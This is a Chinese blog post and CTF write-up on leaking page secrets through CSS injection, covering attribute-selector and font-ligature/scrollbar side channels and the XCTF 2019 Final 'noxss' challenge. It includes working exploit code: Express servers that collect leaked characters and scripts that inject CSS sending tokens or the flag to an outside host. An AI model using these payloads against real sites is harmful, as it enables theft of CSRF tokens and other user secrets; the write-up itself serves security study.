用 CSS 泄露信息是 XCTF 2019 final 一道题目 noxss 的考点,又学到了(留下了没有技术的泪水)
Stealing data in a great way - how to use CSS to attack webapplication
以下段落是我对 Stealing data in a great way - how to use CSS to attack webapplication 这篇文章的总结,主要分为两部分,一:利用 css 从 html 标签的属性中窃取 token;二:利用 css 直接从网站内容中提取 token。
我们利用以下页面作为攻击的 demo:
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
可以看到我们生成了两个 token,分别是 <input>
标签的属性和 <script>
标签的内容,然后我们将通过 ?css=
这个注入点注入 css 代码来窃取相应的 token。
从标签属性中获得 token
第一步,我们先考虑从 input 标签窃取 token,这里可以考虑使用 CSS 选择器来辅助我们达成这一目的。简单介绍下 CSS 选择器,它其实是一种匹配模式,用于选择需要添加样式的元素,我们可以利用它来匹配含有特定 class、id、标签或者其它任意属性。下面是一些 CSS 选择器的基本例子:
CSS
/* 匹配整个 body 标签 */
body { }
/* 设置类名为 test 的标签的 css 属性 */
.test { }
/* 设置 id 为 test2 的标签的 css 属性 */
#test2 { }
/* 对 value 值为 "abc" 的 input 标签设置 css 属性 */
input[value="abc"] { }
/* 对 value 值以 "a" 开头的 input 标签设置 css 属性 */
input[value^="a"] { }
由于浏览器仅会在 CSS 规则匹配的时候触发 CSS 样式的修改,因此可以利用例子里的最后一条规则,通过属性值开头的字符来进行对 token 进行侧信道:
input[value^="0"] {
background: url(http://your_server/0);
}
input[value^="1"] {
background: url(http://your_server/1);
}
input[value^="2"] {
background: url(http://your_server/2);
}
...
input[value^="e"] {
background: url(http://your_server/e);
}
input[value^="f"] {
background: url(http://your_server/f);
}
根据以上定义的规则,如果 token 以字符 a
开头的话,会也仅会满足 input[value^="a"] { background: url(http://your_server/a); }
规则,进而向服务器发出 http://your_server/a
的请求。
现在我们思考如何将上述过程自动化完成,毋庸置疑,完成以上过程大致需要如下几个步骤:
- 在 HTML 页面使用 JavaScript 自动生成 exp
- 一台 server 能接收并存储攻击获得的现有 token
- 浏览器能向 server 请求并获得已经获得的 token
然后我们考虑以 node 作为我们服务器的后端,然后相应的 package.json
如下:
{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}
服务端以 exprss 框架来处理 http 请求,然后用 js-cookie 库来存储 cookie。
然后创建 index.js
:
// index.js
const express = require('express');
const app = express();
// 关闭 express 默认开启的 etag
app.disable('etag');
const PORT = 3000;
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// 在 cookie 中保存已经获得的 flag
res.cookie('token', token);
res.send('');
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
server 主要有以下几个功能:
- 静态资源的提供:
index.html
/cookie.js
- 接受
/token/:token
的 GET 请求并将得到的 token 写入 cookie
然后是关键的 index.html
部分,其会通过创建一个 iframe 的方式逐位爆破 token 并将之发送到服务器端:
<!doctype html><meta charset=utf-8>
<script src="./cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';
// 逐位爆破 token
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();
// 将获得的 token 写到页面处
document.getElementById('token').textContent = extractedToken;
}
// 读取 cookie
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
// 清除现有 cookie
function clearTokenCookie() {
Cookies.remove('token');
}
// 生成 exp
function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://192.168.1.180:3000/token/${extractedToken}${char})
}`;
}
return css;
}
// 创建 iframe
function createIframeWithCss() {
iframe.src = 'http://192.168.1.180/demo.php?css=' + encodeURIComponent(generateCSS());
}
})();
</script>
获得 token1:
简单总结:
如果存在相应对 CSS 注入点,我们可以利用以下规则获得 html 标签中的属性值:
element[attribute^="beginning"] {/ * ... * /}
2018 的 SECCON 的 web 题 Ghostkingdom 就考察了这种攻击,具体可以参考我写的题解:SECCON 2018 - Web Ghostkingdom / Shooter 题解
Extracting the token from the website content
上节介绍的攻击方式仅仅只能获得标签的属性值,但是不能对标签本身中包含的文本执行相同的操作(CSS 没有这种类型的选择器), 而 token2 以文本形式存在在 <script>
标签中,参考以下的例子:
<script>
var TOKEN = "cd5fe9861e3ac3ddd1f6ebf0162c6a0e";
</script>
下面就要思考这样一个问题,我们如何获得相应的 token?首先我们需要验证 CSS 对 <script>
是有影响能力的,所以尝试对 <script>
标签编写 CSS 规则 script {display: block; color: red;}
,可以看到很明显的效果:
接下来我们需要思考一个问题,我们如何利用 CSS 来获得第二个 token?
这里介绍一种使用结合字体“连字”和滚动条样式进行侧信道的方式。具体关于连字的介绍,这里不再赘述,可以参看这篇文章:连字简述
我们创建如下字体,其中 “a-z” 的宽度为 0(horiz-adv-x="0"
),但连字 “cssdemo” 宽度为 8000:
<svg>
<defs>
<font id="hack" horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<missing-glyph />
<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="cssdemo" horiz-adv-x="8000" d="M1 0z"/>
</font>
</defs>
</svg>
由于浏览器不支持 SVG 格式的字体,但该格式的字体更直观更容易修改,因此这里我们使用 fontforge
将 SVG 格式转化为浏览器支持的 WOFF 格式。
编写如下转换脚本:
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
执行脚本,得到 demo.woff
文件:
$ fontforge script.fontforge demo.svg
# convert demo.svg to demo.woff
$ ls
demo.svg demo.woff script.fontforge
然后我们来看一下该字体能带来什么效果,编写一个测试用的 html 文件:
<style>
@font-face {
font-family: "hack";
src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASIAA0AAAAABrQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAABMAAAAMQAAAET4n+DzUZGVE0AAAH0AAAAGgAAAByADBLyR0RFRgAAAhAAAAAiAAAAJgBmACVHUE9TAAACNAAAACAAAAAgbJF0j0dTVUIAAAJUAAAASgAAAFrZXdxXT1MvMgAAAqAAAABEAAAAYFXjXMBjbWFwAAAC5AAAAFgAAAFKYztWsWhlYWQAAAM8AAAAKgAAADYS7LEPaGhlYQAAA2gAAAAbAAAAJAN8QZVobXR4AAADhAAAABEAAABwRigAAG1heHAAAAOYAAAABgAAAAYAHFAAbmFtZQAAA6AAAADaAAABYiJRBKtwb3N0AAAEfAAAAAwAAAAgAAMAAHicY2RgYWFgZGRkzUhMzmZgZGJgZND4IcP0Q5b5hwRLNw9zNw9LNxCwyjDE8sswMAjIMEwRlGHglGHkEmJgBqnmYxBiEEuOLwbClPjU+Nz4fJBJYNOAwInBmcGFwZXBjcGdwYPBk8GLwZvBh8GXwY/BnyGAIZAhiCGYIYQhlCGMIZwhgiGSIYohmrGdQQboHg5uPkERcSlZBWU1TR19I1MLaztHF3cv34DgcJlDwnw9YtRE34C4W0TG8apoNw8XANH8N4h4nGNgYGBkAIIztovOg+ibzy0EYTQAS0sGjgAAeJxjYGRgYOADYjkGEGACQkYGKSCWBkImBhawGAMACm8AjAAAAAEAAAAKABwAHgABbGF0bgAIAAQAAAAA//8AAAAAAAB4nC2JSwqAMBQD5+ErloK46FLxBF6qqyIUV96/xg8hhMxgQGJjx1q5TiIuQu88xtpRixjfk/N3o7r+6yyMZMUJTMxixnADjk0GZwAAeJxjYGb8wjiBgZWBg6mLaQ8DA0MPhGZ8wGDIyMTAwMTAyswAA4wMSCAgzTWFwYEhkaGKWeG/BUMUhhoFIGQHAFrKCk14nGNgYGBmgGAZBkYGEHAB8hjBfBYGDSDNBqQZGZiArKr//8EqEkH0/wVQ9UDAyMaA4NAKMDIxs7CysXNwcnHz8PLxCwgKCYuIiolLSErR2maiAAC3ZQifeJxjYGRgYABijuXb7sTz23xl4GZ+ARRhuPncQhSZhgIOBiYQBQAt1wj9AAB4nGNgZGBgVvhvwRDl5MAAAYwMqEAGAD9gAlUAeJxjfsFAN+DkwMAAAGggAW4AAAAAAFAAABwAAHicXZA7TgMxEIa/TTbhKejS4o5qV/ZKKUhFlQNQpF9F1iYi2pWc5BLUCIljcABqrsXvMDTxyJ5vRv88ZOCWDwryKSi5Nh5xwYPxGMfWuJS9G0+44ct4qvyPlEV5pczlqSrziDvujcc882hcSvNmPGHGp/FU+W82tKx5hU271vtCpOPITumkMHbHXStYMtBzOPkkRdSiDTVefqH73+YvmlMRZJU0Xv5JDYb+sBxSF11Te7dweZzcvAqhanyQ4myTlWYk9vqOPNmpS57GKqb9duhdqP15yS9r5S4DAAB4nGNgZsALAAB9AAQ=);
}
span {
background: lightblue;
font-family: "hack";
}
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://127.0.0.1/success);
}
</style>
<input name=i oninput=span.textContent=this.value><br>
<span id=span>a</span>
可以看到当触发滚动条样式生效时,成功触发了请求:
由此我们的思路非常明确:
- 生成特定格式的字体,当我们想要猜测的内容恰好匹配字体的连字时,由于该连字的宽度非常大,会让页面滚动
- 设置滚动条样式,当触发页面滚动时带出信息
既然验证了可行性,下一步就是如何利用字体进行侧信道攻击,继续修改之前的服务端,首先添加几个库:
{
"name": "css-attack-2",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4",
"js2xmlparser": "^3.0.0",
"rimraf": "^2.6.2",
"tmp": "0.0.33"
}
}
这里添加几个库的目的是方便对 tmp 文件夹进行操作,由于我们需要不断地调用 fontforge
来创建字体,因此对文件的读写操作非常频繁,所有需要方便地对临时文件进行操作。然后修改 index.js
:
const express = require('express');
const app = express();
// 关闭 express 默认开启的 etag
app.disable('etag');
const PORT = 3001;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
// 为给定的前缀生成字体
// 第二个参数是待选的字符集
function createFont(prefix, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": "hack",
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
},
"glyph": []
}
}
};
// 默认情况下所有字符为 0 宽度
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M1 0z",
}
};
glyphs.push(glyph);
}
// 待连字具有非常大的宽度,这里直接设为 10000
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"horiz-adv-x": "10000",
"d": "M1 0z",
}
}
glyphs.push(glyph);
});
// 解析 svg 文件
const xml = js2xmlparser.parse("svg", font);
// 将 svg 文件转换为 woff 格式
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
// 删除临时目录
rimraf.sync(tmpobj.name);
// 返回字体.
return woff;
}
// 接受参数,并生成特定字体
app.get("/font/:prefix/:charsToLigature", (req, res) => {
const { prefix, charsToLigature } = req.params;
// 这里确保字体在缓存中
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',
});
res.send(createFont(prefix, Array.from(charsToLigature)));
});
// 保存接受到的 token
app.get("/token/:chars", function(req, res) {
console.log(req.params.chars);
res.cookie('token', req.params.chars);
res.set('Set-Cookie', `token=${encodeURIComponent(req.params.chars)}; Path=/`);
res.send();
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
然后修改第一部分的 index.html
(这里不使用原文例子是因为其使用了包括二分在内的种种爆破技巧,难以理解)
<!doctype html><meta charset=utf-8>
<script src="./cookie.js"></script>
<big id=token></big><br>
<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
let extractedToken = await getTokenFromCookie();
if (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
generateCSS();
}
// 读取 cookie
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
// 清除现有 cookie
function clearTokenCookie() {
Cookies.remove('token');
}
// 生成 exp
function generateCSS() {
for (let c of ALPHABET) {
var css = '';
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://192.168.1.180:3001/token/${encodeURIComponent(extractedToken+c)})}`;
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://192.168.1.180:3001/font/${extractedToken}/${c});}`;
css += `script{font-family:a${c.charCodeAt()};display:block}`
createIframeWithCss(css);
}
}
// 创建 iframe
function createIframeWithCss(css) {
document.write('<iframe scrolling=yes samesite src="http://192.168.1.180/demo.php?css=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
}
})();
</script>
成功在监听的 server 处收到了爆破的 token:
简单总结:
如果存在一个可以利用的 CSS 注入,那么结合字体“连字”特性和滚动样式,可以侧信道出网页的任意内容。
实战 - XCTF 2019 Final / noxss2019
题目直接给了源码,源码审计后定位到 account/models.py
,flag 会在 user 创建时作为用户属性被赋予用户。
@receiver(post_save, sender=User)
def create_or_update_user_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
instance.profile.secret = 'flag' if instance.is_staff else 'you have no secret'
instance.profile.save()
结合 run.sh
,很明显本题需要获得 admin 的 secret:
...
python manage.py shell -c "from bot_config import bot; from django.contrib.auth.models import User; User.objects.create_user(is_staff=True, **bot).save()"
...
继续审计代码,发现 account/userinfo.html 会使用 secret
:
回到我们可控的输入点,很明显只有 theme 参数可以控制:
但测试后发现此处无法闭合标签,注入的范围局限到了 CSS,但我们可以使用 %0f 进行逃逸从而写入任意 CSS 样式。
同时观察到 flag 的位置,位于 secret 标签内:
很明显本题的考点就是上一节讲的,利用字体“连字”特性结合滚动条样式进行侧信道。
这里直接贴一下 ROIS - zsx 师傅的思路:
原理:
- 将页面宽度设置为100000px,保证不会出现滚动条;
- 隐藏页面内所有元素,然后将script标签显示出来;
- 为script标签设置字体,如果匹配到了对应字符,则显示滚动条;
- 通过滚动条接收当前字符。
把这个页面的URL直接交给bot,即可接收到一位的flag。之后逐位爆破即可。
然后我为了爆破方便继续改了前文的脚本,用了 ejs 模板直接渲染,这样每次可以少手动修改(偷懒):
const express = require('express');
const app = express();
app.disable('etag');
app.set('view engine','ejs');
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
const HOST = "www.syang.xyz"
const PORT = 3210;
let flag = 'xctf{dobra_robota_jestes_mistrzem_CSS'
function createFont(prefix, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": "hack",
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
},
"glyph": []
}
}
};
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M1 0z",
}
};
glyphs.push(glyph);
}
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"horiz-adv-x": "10000",
"d": "M1 0z",
}
}
glyphs.push(glyph);
});
const xml = js2xmlparser.parse("svg", font);
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
rimraf.sync(tmpobj.name);
return woff;
}
app.get("/font/:prefix/:charsToLigature", (req, res) => {
const { prefix, charsToLigature } = req.params;
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',
});
res.send(createFont(prefix, Array.from(charsToLigature)));
});
app.get("/flag/:chars", function(req, res) {
//flag = req.params.chars
console.log(req.params.chars);
let c = req.params.chars[req.params.chars.length - 1];
if(req.params.chars.includes(flag)) {
flag = req.params.chars
}
res.send('flag')
});
app.get('/', (req, res) => {
res.render('index', {
flag: flag,
host: HOST,
port: PORT
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
index.ejs 如下:
<script>
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'.split('')
const prefix = '<%= flag %>'
chars.forEach(c => {
let css = '?theme=../../../../\fa{}){}';
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://<%= host %>:<%= port %>/flag/${encodeURIComponent(prefix+c)})}`
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://<%= host %>:<%= port %>/font/${prefix}/${c});}`
css += `script{font-family:a${c.charCodeAt()};display:block}`
document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>
最终获得 flag:
总结
本文总结了两种利用 CSS 泄露网页内容的攻击方式,第一种较为简单,但仅能泄露出标签属性;而第二种结合了字体和滚动条样式,攻击更为复杂但可以泄露的内容更多。
虽然 CSS 的注入并不能真正达到 XSS 的效果,但如果存在一个我们可以控制的 CSS 注入点,那么无论是属性,亦或是网页内的内容,我们都可以通过侧信道的方式带出,这同样会给用户带来安全上的隐患,比如说 csrf token 的泄露等问题。